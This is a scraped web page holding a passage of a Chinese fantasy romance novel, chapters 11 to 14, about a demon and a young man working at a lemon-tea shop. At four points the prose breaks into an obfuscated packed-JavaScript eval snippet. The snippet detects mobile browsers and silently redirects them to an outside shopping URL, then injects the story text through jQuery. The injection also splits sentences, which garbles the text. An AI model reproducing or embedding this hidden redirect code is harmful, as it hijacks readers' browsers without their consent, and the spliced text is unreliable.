;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552293|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,边恪就趴在茶几旁,一面滑动手机,一面用纸笔记着什么。 见奚乔忽然出现,边恪被吓得一抖,紧接着又腼腆地解释说,他下午刚学会用智能手机找工作,现在在记一些店的招工要求。 “虽然我今天没去奶茶店面试,但我进店观察过他们的操作,每家店都有标准流程,感觉不难上手。” 奚乔还以为边恪会情绪低落一阵子,毕竟忙了一下午也没得到理想的结果,但这会儿边恪脸上竟然还带着点儿笑,似乎为明天充满信心。 “那你还会陪我上谢老师的课吗?”奚乔问。 ”当然会啊,老师已经记下我的名字了。”边恪回答,“我会尽量协调好时间。” 奚乔莫名生出些不爽,为边恪这种看起来乖巧实则倔强的性子,他可以为了报恩配合奚乔的fa情期,但又绝不可能满足奚乔谈恋爱的愿望。 他现在找工作就是想在一个月后跟奚乔一刀两断。 可恶,好歹让我谈个两三天的恋爱啊!奚乔忿忿地想,要不然明天在阿鲟找工作的路上使点儿坏吧……也不是很难的事情。 “燕燕,明天早上我一起来就跟你接吻。” 睡觉前,奚乔还陷在吃饱喝足的满足中,脑子里的使坏计划正慢慢生成,边恪便将他犄角一抓,强行把他脑袋拎起来。 “啊……”奚乔没反应过来,瞳孔微微涣散。 “我不能让你再卡点去上学。”边恪认真地说,“至少得留出时间给你整理仪容。” “可是我每次穿睡衣去上课也没人说我啊。”奚乔不解,“而且今天这种特殊情况不会再出现啦。” “你说的睡衣是指你现在这一身裙子?”边恪声音变得艰涩起来,抓着奚乔犄角的手松了松。 “嗯,我喜欢穿睡裙,方便放尾巴。”奚乔趁机用尾巴又卷了卷边恪另一只手腕,“反正早八大家都没太睡醒,不会注意我穿什么啦。” 边恪彻底没了脾气:“你同学人都挺好。” 奚乔装傻点头,也有不太好的,比如说班长。 这人比宋致溟还烦,从上学期到现在,上课总喜欢坐奚乔附近,不是后排就是旁边,然后找奚乔讲些不太好笑的笑话,自来熟地插.入奚乔和别人的聊天,但对班上其他人又没有对奚乔那么热切,特别今天还格外找边恪的麻烦。 但边恪没有说班长什么,只说:“那就睡觉吧,明天我们都有事要忙。” 这个人类,总不按照奚乔预想中来。 “我今天想保持人形睡觉。”奚乔故意说。 边恪松开他的犄角,作势起身:“那我去客厅睡。” “真是败给你了,啾!”奚乔一鼓气,呼地变回了胖团雀的原形。 边恪转而把胖团雀搂紧,“谢谢燕燕。”边恪说,“等我找到工作,就给你买礼物。” 可恶啾! 奚乔忽然又不想使坏了。 虽然这个犟种人类没法跟他谈恋爱,但犟种说要给他买礼物诶,为什么总不按他设想的来啊! 啾,可恶! 11. 第 11 章 没有去理发店上班,倒不是人家看不上边恪,而是边恪听了人家的招工要求,觉得不太合适。 这几家店都只肯收学徒,工资压得都很低,底薪一千五,想要多的工资只能靠发展顾客拿提成,可一般来讲只有正式员工才能上手给顾客剪头发,学徒要跟在正式员工手下学个一到两年才能转正。 边恪再三表示自己学过理发技术,甚至都把自己中专的毕业证书拿出来,翻到盖有公章的那一页给店长看,几家店的店长纷纷表示边恪没有实际的理发经验,只能先从学徒做起。 真挺恼火的。 或许他该换个地方找理发店,这大商场的理发店不太好混,而且他很可能只在这边待一个月。 边恪摩挲着手机壳发愣,手机页面上显示着附近理发店的招工消息,他都没有怎么看进去——用手机找工作还是他下午现学会的,奚乔给他下载过一个搜索软件,让他有什么问题直接上网搜索。 手机壳是粉紫色的,印着一只圆滚滚的小鸟和三个大字“发财鸟”,手机壳自然也是奚乔选的。 奚乔,奚乔,都是奚乔。 他还要每天跟奚乔接吻呢,去太远的地方工作,会顾不上。 边恪定了定神,还是决定就在这座商场找工作,至于一个月后在哪里落脚,一个月后再说。 所以到第二天,边恪去了筛选好的三家饮品店面试,最终在一家底薪五千、每周单休、转正后月底有奖金提成的柠檬茶店入职。 上午跟店长谈妥,下午就领了围裙戴上口罩,到后厨哐哐切柠檬、捣柠檬,学习煮小料、倒小料,和前台点单做饮品的同事打配合。 边恪体力不错,忙一下午都没怎么歇,到晚饭点还浑身是劲儿,饭也不忙着吃,兴冲冲地先回奚乔住处,完成自己的“四吻之约”。 “我已经跟店长谈好了,固定周四休息,其他时间都上晚班,这样周一上午的课和周四下午的课都能赶上。”边恪亲完一抹嘴,气都没顺过来,先噼里啪啦倒豆子般跟奚乔汇报,“晚上是十点下班,我争取一关店门就往家跑,大概十点过五分能到家。” “燕燕,你看你能等五分钟吗?不能等我再想想办法。” “我不能等。”奚乔表情严肃,边恪瞬间心提了起来,都不太敢喘气。 奚乔便伸手去捏他的脸:“我可以到店里接你,然后带你瞬移回巢穴。” 边恪松了一口气,小声说:“你吓我一跳。” “我今晚上没课,可以一整晚都陪你。”奚乔揉着边恪的脸,笑眯眯地说,“惊不惊喜?意不意外?” 边恪被捏得直哼哼:“能不能等我吃饭了再惊喜?我点的粉都快凉了……” 好奇怪,奚乔真喜欢捏他的脸,明明他脸也没多少肉,一点也不好捏。 要不然,多吃点儿长肉呢…… * 边恪穿戴好围裙和口罩,仔细洗了手,开始了晚间的后厨工作。 期间为给前台的茶桶添新泡好的冷茶,边恪短暂地从后厨出来,往台前的座位看了看,奚乔正单手举着本书,坐在奶茶店人来人往的大门边,津津有味地看着。 不少人冲奚乔投向揶揄的视线,边恪倒很佩服他在这么吵的环境里能看得进去书。 结果多看奚乔两眼,魅魔便回看过来,冲他微笑着招招手。 “现在忙得要死,别在前边傻站着!”前台点单的大哥扭脸,恶声恶气地吼边恪。 边恪悻悻地收了空茶桶,退回后厨,又开始哐哐切柠檬。 工作的时候不能分心啊。 香水柠檬从一个个飞成一片片,和他搭档的大姐忙喊停:“弟仔,你切这么多要用到明天去!” 结果前台又有人喊:“后面的!柠檬没了!” 搭档大姐也不好劝了,赶紧端了新切好的一大盆柠檬片去前台。 边恪叹了口气,把筐里剩下的柠檬都倒进水池洗刷,大姐回到后厨帮忙,啧啧感叹说:“今天才周二,店里人多得都快站不下,男的女的进来,都往那看书的靓仔脸上看!” 看书的靓仔,那就是奚乔了。 边恪也顾不上被点单的大哥骂,切好柠檬自己端出去,见缝插针地往奚乔那边看。 然而奚乔也没空和他对视了,甚至都没空再看书,有小姐姐正在找奚乔要联系方式,他笑眯眯地跟人打太极。 不管是在学校还是在外边,魅魔都那么受欢迎吗? “我朋友在这儿上班,之后我会常来等他,你们喜欢喝柠檬茶,也可以多多支持这家店哦~” 边恪其他话没听清,就听清这句,心脏叮当乱跳,忙忙收了空盒子回后厨。 吃饭那会儿,奚乔问边恪他的月末奖金该怎么算。 边恪说只要店里完成总部下达的营业额目标,他们员工会有达成目标的奖金,营业额超过目标越多,员工奖金也越多。 所以奚乔这算不算在帮他们店打广告提高营业额? 笨蛋魅魔,这个月营业额提高了也跟我没什么关系啊,我都还没转正呢! 边恪又好气又好笑,把新一筐柠檬倒进水池,感觉到眼眶湿湿的。 五年前,边恪跟着村里的大人们去鹏城的厂里打工,宋致溟还没开学,就和他们一起挤上大巴,说是怕便可不适应出远门,他陪边恪再走一段路。 “你这个闷性子,以后不会遇到比我更好说话的朋友了。”宋致溟说。 边恪那时候也这么以为。 他那时候的世界不大,小到只有那个海边的村落和市里的学校,宋致溟成绩好、长得也好,还和他同样没父母依靠,于是便成为他小小世界里最重要的锚点。 只不过到现在,边恪忽然发现世界开阔,宋致溟似乎也没有那么了不起。 一直忙活到晚上下班,边恪都没机会到前台去实操做柠檬茶,不管是点单的还是做茶的,都没空让出自己的阵地,连去卫生间都得争分夺秒。 本来还想着给奚乔做杯柠檬茶,奚乔喝不出味道没关系,反正上次的红豆沙也喝了。 “这位先生,我们快要打烊了。” 边恪收拾好后厨出门,便听见点单的大哥在赶奚乔。 奚乔施施然扬了扬手中的书:“我等人,等到就走。” 边恪快步上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552294|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,站在奚乔身旁跟大哥打招呼:“那个,哥,我都和杨姐收拾好后厨了,可以下班了吗?” “这位先生是你朋友?”大哥蹙眉,语气不善。 “嗯,我第一天上班,他不放心我。”边恪笑笑。 “走吧,明天就别让你朋友来了。”大哥嫌弃地挥挥手。 边恪拽住上前一步的奚乔,忙说:“好的好的,大家明天见。” 说完就拉着奚乔,快步走出店门。 “不是,阿鲟,你那同事什么意思?”奚乔不爽地问,“我坐那儿等你,一晚上他都在对我甩脸子,刚刚你不来我都怕他打我!” “店里太忙,累着了呗,人家也不是铁打的。”边恪说,“我刚刚就该让你在家等我,店里太吵又太挤,你看书都不安生。” “哎呀,书不书的不重要,我那不是想给你拉营业额嘛。”奚乔撇撇嘴,“你同事能赚奖金,为什么不高兴?” “有命赚也得有命花啊,我听跟我搭班的姐姐说,今天本来不应该有这么多客流的,差点准备的柠檬都不够。”边恪耐下性子解释,怕奚乔多想,“你呢也不用操心我奖金的事情,今天来这一次我已经很高兴了,再多我怕自己高兴过头。” “我总感觉你在哄我。”奚乔不吃这套,“如果我给你添麻烦了直说。” 边恪自然就直说:“对于我来说不算麻烦,但可能对于其他人有点麻烦。” “好吧。”奚乔耷拉了脑袋,“那我以后就在店门外边等你。” 一大只魅魔仿佛瞬间又缩成那只小小的团雀,边恪心软得快咕嘟出泡泡。 “我们就这样走回去吗?你不着急接吻?”边恪问。 他有点佩服自己,现在说起接吻也不脸红了。 “我还能忍耐。”奚乔晃着边恪的手,“这几步路我想慢慢和你走回去。” “那你饿坏了怎么办?”边恪担心地问。 奚乔挥了挥拿书的那只手:“没事儿,你就跟我慢慢散步吧,我看书上说,你们人类很喜欢散步。” 边恪就借着路灯,看清了书封面的字:“有效沟通,只需做对这一百件事”。 “散步也是一百件事里面的?”边恪问。 奚乔胡乱把书往怀里藏一藏:“嗯,书里说你们人类喜欢在散步的时候聊天。” “聊什么?”边恪诚恳地问。 “就聊生活啊、学习啊、喜欢的人啊……”奚乔如数家珍,立马扭脸看向边恪,“你有喜欢的人吗?” 边恪下意识摇摇头,他已经咬死不喜欢宋致溟了,可不能露馅。 奚乔似乎松了一口气:“那你会喜欢什么样的人?” “这个要遇到了再说吧……”边恪语塞,怎么忽然聊起这么深刻的话题了? “总得有个大概的标准吧。”奚乔不依不饶。 大概的标准,大概的……边恪看着路灯下那张漂亮不减分毫的脸,下意识地说:“我喜欢好看的。” “这个标准真大概啊。”魅魔咋舌,“不过,我喜欢这个标准。” 边恪反问:“那你呢?你喜欢什么样的人……或者魔?” 12. 第 12 章 “我当然也喜欢好看的。”奚乔看着边恪的眼睛,理所应当地说。 边恪心里泛起一阵莫名的涟漪,或许是为奚乔对他不感兴趣而松了口气吧,这样等奚乔fa情期过去,他们俩也能干净利落地抽离出彼此的生活。 “你还不是说了一个大概的标准。”边恪挤出一丝笑,佯装打趣地回复奚乔。 奚乔晃着他的手,捏着嗓子撒娇说:“你可以继续问嘛,你问得越详细,我答得也越详细。” 算了,边恪怕问出一个无限贴合宋致溟长相的标准。 他为什么要平白无故地问奚乔这个?打哈哈过去不就得了。 于是边恪打哈哈说:“我们到楼下了,赶紧上楼吧。” 也不知道奚乔看的那本书教了他些什么,这两天奚乔见缝插针地向边恪问东问西,从他怎么先开始想着去理发店工作,到他什么时候学的理发,再到他在哪儿学的理发……一番“沟通”下来,边恪快把他十五岁以后的生活轨迹都给奚乔复述了一遍。 这段时间,还有相当一部分的内容能绕开宋致溟,再往前就绕不开了。 “你很想听我和你宋学长在一个碗里吃东西的故事吗?” 最后边恪用这句话终结了奚乔的查户口式沟通,但边恪想看看那本书,奚乔又不给,说那本书是从校图书馆借的,这会儿已经还了回去。 “问了这么多,可我还是一点都不了解你啊。”奚乔沮丧地把下巴搁在边恪发顶。 周四,边恪休息,来学校上谢教授的课,下课后陪奚乔到操场校园跑,每天要跑两公里,也就是绕操场五圈。 这可苦了动不动就要瞬间转移的魅魔,一圈都没跑到,就挂在边恪身上喊累,喊着喊着又喊到“沟通”这档子事儿上。 “你要了解我做什么?”边恪叹了口气。 现在临近六月,天早早地热了起来,魅魔本身就暖烘烘的,像个喷香的大火炉,扒在背后可要命了,但魅魔一喊累,边恪也就舍不得推开他,就放慢脚步拖着他往前走。 “因为我们是朋友嘛。”奚乔说,“朋友之间就是要互相了解。” 边恪听明白了:“你是不是想让我也盘问你?” “对啊,你难道对我不好奇吗?”奚乔大大方方地反问。 但还真就把边恪给问住了,他对别人的好奇心有限,往往是话递到他嘴边了,他躲不过去才跟着问。 能问奚乔的问题还挺多,比如说魅魔的原形都是鸟吗,再比如说魅魔到底能活多少岁,以及奚乔的亲戚多不多啊。 “你原形的粉紫色是天生的吗?”边恪选了一个最没营养的问题。 “这个还真不是。”奚乔回答,“从母树出生后,我们基本都是雪白色的,等满月后会被长老赶去命运池里洗澡,然后就有了不同的颜色,像我那位亲戚,他是银白色掺杂点儿钴蓝。” “听起来好神奇,像《聊斋》里面的故事。”边恪感叹,不过银白色掺杂点儿钴蓝,好像在哪里见到过啊。 “《聊斋》里的故事真假掺半吧,蒲松龄作为凡人能记载非人种族到这程度,真挺不容易的。”奚乔说,“我亲戚去吃过他当官后办的酒席,他那时候不写故事了,不然非要给我亲戚记一笔。” “你亲戚经历了好多事。”边恪说。 “毕竟活得久嘛。”奚乔搂着边恪脖子摇摇晃晃,“等一下,我胳膊好像湿了。” “……那应该是我脖子上的汗。”边恪叹了口气,“燕燕,你不觉得热吗?” 奚乔恋恋不舍地松开了边恪:“我忘记你们人类的体质和我不同。” 太阳偏西,他们终于再次小跑起来,再过二十分钟就到奚乔的饭点。 虽然边恪很乐意看到奚乔变回原形,但他还是不想奚乔挨饿。 “乔乔!乔乔——” 跑到第三圈的时候,边恪怀疑自己出现了幻听,怎么有人跟在他们身后喊奚乔? 奚乔似乎没听见,正摇晃着手机找跑步的定点,他说没踩中点位跑多少公里都不算数。 大学生也不容易。 边恪这么想着,扭脸往后看,远远地便望见跑道那头,奚乔班上的班长在朝他们挥手。 啊,Z大校园面积还挺大的,光操场都好几个,怎么这都能碰上熟人? 边恪伸手拉了拉奚乔衣摆,示意他往后看,结果奚乔反抓住边恪手腕:“我们得加快速度了,这破系统说我配速不够!” 根本来不及说什么话,边恪便感觉到脚底刮起一阵旋风,他整个人跟低空飞行一般飘了起来,周遭的景物快得都看不清轮廓,更别提声声呼喊奚乔的班长。 终于,奚乔停了下来,在靠近操场出入口的弯道旁,他得瑟地冲边恪展示手机界面:“今天的校园跑完成~” “你刚刚那是魔法吗?”边恪气喘吁吁地问。 “不是,单纯是我跑得快。”奚乔脸不红心不跳。 “乔乔——”这个声音怎么又来了? 边恪和奚乔一块望过去,班长穿过足球场踉踉跄跄地跑了过来,边恪都怕他站不稳栽跟头,下意识伸手去搀扶。 班长径直避开边恪的手,站奚乔面前说:“可算抓住你了,这两天一直躲我干什么,我又不会吃了你。” “可别乱说啊,班长,我正常上下学,你一直追着我不放,我也很苦恼。”奚乔把边恪往身边拉了拉,一脸“真没招了”的表情。 班长却不以为意,还满脸堆笑地说:“我就是来告诉你一声,校文学社有新的读书活动,加综测分的,你不是抱怨说没地方拿综测分吗?正好这个读书活动是面对全校的,谁都可以参加,我看了看加的分也不少。” 奚乔深吸了一口气:“我自己可以去找加综测分的活动,你那么热心的话,可以把加综测的消息发在班级群,让有需要的同学看到,不用专门跑过来跟我说。” “乔乔,我也只是想帮上你的忙。”班长一脸受伤地说,“我们不是朋友吗?” “不是,不是啊,我们只是恰好在同一个班。”奚乔难得语气严肃。 边恪还记着奚乔的饭点,怕被耽搁,忙帮腔说:“就算是朋友,你这样也越界了,班长,还是给奚乔一点私人空间吧。” 班长依旧没搭理边恪,自顾自对奚乔说:“正好我也没把你当过朋友,乔乔,如果我是女生的话,你会不会就知道我对你的心意?” 话说到这程度了,就算是边恪也听出来这不一样的心意。 奚乔绝望地闭了闭眼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552295|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管你是男是女,你的心意我都不会收下,因为我真的不需要!” “还是要尊重一下奚乔的意见吧。”边恪立马接茬说,奚乔已经气得发抖了,他反扣住奚乔的手作为安抚,“时间也不早了,我们要回去吃晚饭,先走一步,还请你自便。” 说罢,边恪就拉着奚乔往操场外走去,毕竟要是奚乔拉边恪走,就等于完全打了班长的脸,他们还要在一块上好几年的课,不能完全得罪人。 幸好班长是个读书人,还是要了脸面,没有再追上来。 “好想把他套麻袋打一顿啊!”奚乔咬牙切齿地说,“如果他讨厌我而不是喜欢我,我早把他打一顿了!” “应该也不会有人讨厌你吧。”边恪说,他才意识到原来被人不理智地喜欢着也会是一种负担。 奚乔沮丧地垂下脑袋:“有,但是少数,毕竟魅魔的天赋是讨人喜欢。” “你应该也是因为我这种天赋才不讨厌我。” 边恪学着奚乔之前那样,也晃了晃奚乔的手:“我就不能单纯觉得你是个好魔而不讨厌你?” 奚乔瓮声瓮气地说:“真的吗?反正我之前没遇到过。” “那你现在遇到了。”边恪说。 奚乔“嗷”地一嗓子把边恪搂进怀,虽然他们已经走出操场,但还在学校开阔的人行道上,来来往往收到不少侧目的视线。 边恪也不管了,想着奚乔不开心,让他抱抱也不少块肉。 “阿鲟,我想现在就亲你一口~”奚乔凑边恪耳边嘟嘟囔囔地说。 边恪费力地把奚乔推开:“回去再说。” “阿鲟是个小气鬼!” 奚乔话虽这么说,但实际也没有强吻过边恪。 接吻前还要走个流程,摸摸边恪的脸说“你愿意吗”。 之后边恪上晚班,奚乔就算晚间清闲没事做,也乖乖听边恪的话,在边恪下班前二十分钟,站店门外小广场边的石墩子旁等待,没有再进店引起围观。 奚乔很尊重他,边恪知道。 不过,唯独有一点不好的是,边恪已经在后厨切了一个星期的柠檬,仍然没有机会去到前台亲手制作柠檬茶,店长给他发来消息说,等他再干一个星期就要考察他的饮品制作流程了,这个星期不考他,也是看在后厨太忙碌的份上。 但考核的标准不变,他完不成考核,就算在后厨累死累活一两星期,都得卷铺盖滚蛋。 “我一上班就被焊死在后厨了,除非给前台送新切好的柠檬或者其他小料,我根本没机会去前边。”边恪手指划过一个又一个做果茶的短视频,蔫蔫地告诉奚乔,“看视频学和实操还是不同,好多视频里的动线和我们店根本不一样,我得知道店里哪儿放茶、哪儿放小料和柠檬才能上手做。” 奚乔呼噜呼噜边恪的脑袋:“你们店长也是,怎么不直接让人带带你?” “店长忙得很,他好像管着两个店,我上班都很难看见他人。”边恪没脾气了,“他让那天吼你的大哥带我,说那大哥是副店长,从这家店开业就在这儿干,经验丰富。” “但副店长不搭理我,我去前台送小料都要吼我两句,嫌我动作慢。” 奚乔煞有介事地托着下巴:“看来得我出马了。” 13.第 13 章 “当当当当当~”奚乔往额前的头发一拨,就给边恪拿出一根蓬松如蒲公英般的长羽毛,“好~感~羽~毛~” “咱说话非要一个字一个字往外蹦吗?”边恪不禁吐槽道。 “这是为了让你重视我这个神奇道具。”奚乔一本正经地说,“因为也会有少数人不喜欢我,比如说你们店的副店长,我就需要一些方法辅助我让别人喜欢,这片羽毛是最简单的一种方法。” “你到时候拿着羽毛,趁副店长不注意,往他眼前晃三下,不能多晃,这样他就能对你和颜悦色,要什么给什么。” 边恪犹豫地接过羽毛:“这魔法有副作用吗?” “我没用过,不知道呢。”奚乔笑得明媚,“不喜欢我的人,我也不会搭理他们。” 好吧,不愧是你。 边恪捏着羽毛,心里下不去决心,毕竟他也只是个普通人类,没有对别人施展魔法的经验。 奚乔忽然一拍手:“只是有一点你要注意,这个魔法有时限,你用一次管十分钟。” 边恪来了精神:“也就是魔法失效,人会变回原状?” “嗯,这个魔法坏就坏在这一点,它没法从根本上改变一个人的喜恶。”奚乔回答,“但因为你是人类,这个魔法相比其他的要简单好用得多。” “不会改变别人就好。”边恪松了口气,下意识把羽毛往衣兜里放,才发现自己穿着睡衣。 他上班,奚乔上学,他们俩能坐一块好好聊天,除了他周四的休息日,还真只有睡前的时间。 “你就把羽毛和手机一块放床头柜,明早起来都能看见。”奚乔提议说,他跪坐在边恪面前,尾巴就在身后一甩一甩。 “我不是不知道放哪儿。”边恪乖乖照做,有了羽毛相助,自然也不忙刷视频了,“我就是想最近忙得有点忽略你了。” “我也这么觉得~”奚乔直接蹬鼻子上脸地握住边恪的手,“所以我今天能保持人形和你一块睡吗?” “我可以睡沙发的。”边恪一点一点拨开奚乔的手。 “我人形哪里比不上原形?”奚乔气鼓鼓地问,松开边恪的手,抬手就又把边恪面颊一挤,“是没有原形好摸,还是没有原形好抱?” 与此同时,那条灵活细长的尾巴挑开了边恪的衣摆。 边恪被挤得嘟起嘴,含糊又尽量咬字清晰地说:“确实你原形又好摸又好抱……” 魅魔顿时不乐意了,立马操控尾巴钻进了边恪衣服,边恪手忙脚乱地去捉,那条尾巴就跟蛇一样滑溜溜,边恪动作受限,怎么也捉不住。 恼得边恪一甩脑袋挣开奚乔的手,隔着衣服捏住了那桃心的绒毛尾巴尖,但奚乔歪头使坏地一笑,那尾巴尖便如同游鱼般从边恪手中滑出。 边恪通体一颤,到底慢了一步,再循着那尾巴捉去,奚乔便收了干净,“腾”地一下变成那圆鼓鼓胖乎乎的粉紫团雀。 “啾啾~”团雀无辜地眨巴着豆豆眼。 边恪捉不住魅魔尾巴,自然要把这个邪恶魅魔的本体搂入怀中,狠狠地搓扁揉圆一番。 “啾!你果然更喜欢原形!”魅魔啾啾地控诉起来。 “对啊。”边恪也理直气壮,挠着团雀那并不明显的下巴,“我刚刚才说,你原形又好抱又好摸。” 以后不能摸了还有些可惜……边恪这样想着,又不禁把脸埋进团雀爱心状的腹部,狠狠地吸了又吸。 “啾啾……”奚乔发出泄气又可爱的声音。 好想把燕燕塞进背包里带走啊。 明明还没有到那个“以后”,边恪就有些舍不得和奚乔分开了,当然也不仅仅是因为喜欢奚乔的原形,更可能因为奚乔很早就开始说,他们俩是朋友吧。 * 怀揣着奚乔赠予的魔法小道具,边恪做贼般来到店里。 副店长刘哥上晚班都会卡点来,边恪看过表,他不会提早到店一秒。 到店后刘哥就施施然霸住了收银台,一直点单打包外加维持店里的秩序,迎接一阵接一阵的客流,根本不给边恪靠近的晃羽毛的机会。 而且前边操作台空间狭长,除刘哥外还有另外两位做茶的,三人把操作台挤得满当,边恪也不能把羽毛晃到别人眼前。 那就只能等晚间换饭的时候了。 一共五个人当班,刘哥作为副店长总会最后一个去吃饭,而边恪是第一个,这期间有很大操作机会。 “要不要我帮你打掩护?”奚乔兴冲冲地摇着尾巴问,“我待会儿去你们店里买柠檬茶,点单的时候和你们副店长聊天拖延时间,你就趁机冲你们副店长晃羽毛。” “你晚上不有课吗?”边恪伸手将奚乔大开的衣领拢了拢,仔细地系上扣子。 “水课,可以逃掉一会会~”奚乔笑眼弯弯。 边恪不想麻烦奚乔:“但刘哥估计都认识你了,还能跟你聊的起来么?” “顾客就是上帝嘛,他再烦我也得服务上帝。”奚乔扬起下巴,尾巴摇得更欢了,“可能就是要辛苦你和你同事,我想点一个大——单!” 边恪好笑地追问:“多大的单?” 奚乔回答:“十杯你们店的招牌柠檬茶,我想给我水课前后左右的同学都发一杯,以此纪念我们莫名其妙选到同一堂课的缘分。” 话说到这份上,边恪也不好反驳,毕竟顾客就是上帝。 “你们上的啥水课啊?” “亲密关系。” “嗯?” “就是教怎么谈恋爱的。” “嗯嗯?!” 边恪前脚进店换围裙,把羽毛放在围裙的前兜,方便随时拿出来,奚乔后脚就推门进店,大咧咧地问:“哥,你们家招牌柠檬茶是什么呀?” 前边操作台的有一人去吃饭了,只有刘哥和另外一位背对着收银台做柠檬茶。 “前边牌子上有,自己看。”刘哥扭脸一看是奚乔,公式化的招牌笑容都淡了下去。 他对别的顾客不这样,好像就是在针对奚乔啊。 边恪感到有些不爽,奚乔倒不以为意:“有是有,但我没喝过,你给介绍一下呗。” “新来的,你去介绍。”刘哥一眼逮住了边恪,“这会儿他们去吃饭了,正好你可以锻炼锻炼。” 那我就不能锻炼一下做柠檬茶吗?店长也只考我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552878|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个,不考收银。 边恪叹了口气,没说什么,只好丝滑地站了过去。 放前几天他连站过去的机会也没有,一来就会被告知柠檬不够用了,而后无限期锁死在后厨,能站收银台也算是一个飞跃式的进步吧。 奚乔干脆摆出了一副“找茬”的态度:“不行啊,哥,我就想听你介绍,别人来我没那么放心。” 刘哥太阳穴青筋跳动了两下,旁边捣柠檬的同事也劝道:“刘哥,你去介绍吧,这里有我。” “我也可以帮忙搭把手。”边恪立马说。 刘哥扫了一眼边恪,退到了收银台边:“行吧,你别给人家帮倒忙。” 边恪点头,利落地补上了位,好感羽毛暂时派不上用场。 奚乔则仍然按照计划,与刘哥侃侃而谈起来,同事只照着外送的单子,一杯一杯往里面倒柠檬加不同的茶底,而后把半成品推给边恪收尾,完全没有讲接下来怎么做。 好在边恪看过同品牌其他店的视频流程,不清楚本店的动线,他又洗了一遍手,就摸索着一个个打开装小料的盒子,照着杯子上的贴纸备注,一勺一勺地加,再把杯子送去塑封。 慢是慢了点儿,好歹第一杯没有出错。 奈何同事动作太快,边恪刚做完第一杯,同事就往操作台上推了四五杯半成品,而后事不关己地往角落一靠,上下嘴皮一碰:“你按照单号打包,这都是外送的,要用到外送的袋子,可别搞错了。” 边恪知道外送的袋子是类似于布袋的保温袋,不是平常随堂点单用的塑料袋,但桌面上只摆了塑料袋,他没看见外送的袋子。 “姐,外送袋子放哪儿了?”边恪边加小料边问。 同事已经拿出了手机,低头刷着,没有听见边恪说话。 “姐,我说外送袋子……”边恪强调地重复。 还没问完,同事就冲刘哥摆摆手,说:“哥,我先去吃饭了。” “去吧。”刘哥也没回头。 看来有必要使用好感羽毛了,正巧刘哥也落了单。 边恪一鼓作气塑封好手边的柠檬茶,回头和奚乔撞上视线,奚乔对他眨眨眼。 “这边推荐您点十杯迷迭香柠檬茶。”刘哥继续对奚乔说,“这个口味是我们店认可度最高的,适合您送给不熟悉口味的朋友喝。” “那就麻烦你了,刘哥。”奚乔拿出手机准备扫码。 边恪则伸手去拿围裙兜里的羽毛,结果却扑了个空,可他明明亲手放进去的,中间也没拿出来过…… 一抬眼,刘哥转过身,拍了下边恪胳膊:“别傻站着,跟我学怎么做柠檬茶。” “那个,哥,外送袋子在哪儿?”边恪欲哭无泪。 奚乔还在对面不断地给他比大拇指,用口型说:“你可以的~” 我不可以,羽毛丢了啊! “外送袋子在收银台下边。”刘哥给他指了指位置,“你不用管打包的事,我来,但我教你做柠檬茶,只教一遍基本过程。” “哦。”边恪愣愣地点头,“哦?!” 他都还没用好感羽毛,刘哥怎么就愿意教他做柠檬茶了? 14.第 14 章 边恪学得还挺快,找对了店里各种茶和小料的位置后,麻利地给之前那几杯收了尾,就开始做奚乔点的十杯迷迭香柠檬茶。 刘哥负责打包,面上依然严肃,边恪手脚慢了一点,他就要催促一下。 但这些都不是事儿,边恪终于还是掌握了柠檬茶的制作全步骤,而且最重要的是那根魔法羽毛到底掉哪儿去了,要是被其他人捡到会不会引发骚乱?店里这会儿就只这两三个人,但刘哥和同事根本没碰过边恪的围裙,俩人都跟边恪保持遥远的距离,只在丢羽毛后,刘哥才拍拍边恪的肩膀…… 边恪胡思乱想,想起以前看过的电视剧,主角丢失了世间少见的宝物,而后要么引得三界大乱,要么引得江湖大乱,边恪不要柠檬茶店也大乱啊! 燕燕,救救我! 边恪一边捣柠檬捣出残影,一边冲奚乔疯狂地眨眼睛,试图和魅魔隔空心灵沟通。 奈何奚乔全然不知,还愉快地冲边恪飞了个吻。 